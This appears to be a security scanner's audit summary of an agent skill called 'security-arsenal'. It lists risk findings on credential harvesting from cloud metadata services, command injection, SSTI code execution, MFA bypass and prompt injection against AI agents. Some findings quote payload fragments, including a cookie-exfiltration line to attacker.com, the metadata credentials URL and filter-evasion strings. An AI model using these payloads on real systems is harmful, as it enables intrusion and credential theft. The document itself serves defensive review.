The Agent Skills Directory

[CREDENTIALS_UNSAFE]: The skill provides payloads specifically targeting AWS, GCP, and Azure instance metadata services to harvest sensitive IAM security credentials and service account tokens (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/).
[COMMAND_EXECUTION]: Extensive payloads are provided to execute system-level commands (e.g., id, sleep, dir) via OS command injection vulnerabilities, including techniques to bypass space and keyword filters using environment variables like $IFS and hex escapes.
[DATA_EXFILTRATION]: Multiple payloads are designed to exfiltrate sensitive data, such as browser cookies, environment variables, or the results of system commands, to external attacker-controlled domains including attacker.com and burpcollaborator.net (e.g., document.location='https://attacker.com/c?c='+document.cookie).
[OBFUSCATION]: The skill documents numerous techniques for evading security filters (WAF/CSP), including the use of Unicode homoglyphs (e.g., modifier letter apostrophe ʼ), hex-encoded strings (\x63\x61\x74), and non-standard comment placement within SQL keywords (SE/**/LECT).
[REMOTE_CODE_EXECUTION]: Server-Side Template Injection (SSTI) payloads are provided that facilitate full remote code execution across major web frameworks like Flask, Django, Symfony, and Rails using internal language primitives like popen and execSync.
[PRIVILEGE_ESCALATION]: Detailed methodologies are included for escalating user privileges via Insecure Direct Object References (IDOR), SAML XML Signature Wrapping (XSW), and manipulating authentication responses (e.g., status code modification) to bypass Multi-Factor Authentication (MFA).
[INDIRECT_PROMPT_INJECTION]: The skill explicitly identifies prompt injection as a viable vector for data exfiltration and code execution when chained with other vulnerabilities like IDOR, acknowledging it as a legitimate attack surface.
[DYNAMIC_EXECUTION]: The skill includes code generation and runtime execution patterns for multiple languages (Python, PHP, Java, Ruby, Node.js) intended to be executed on the server side via injection vulnerabilities.

security-arsenal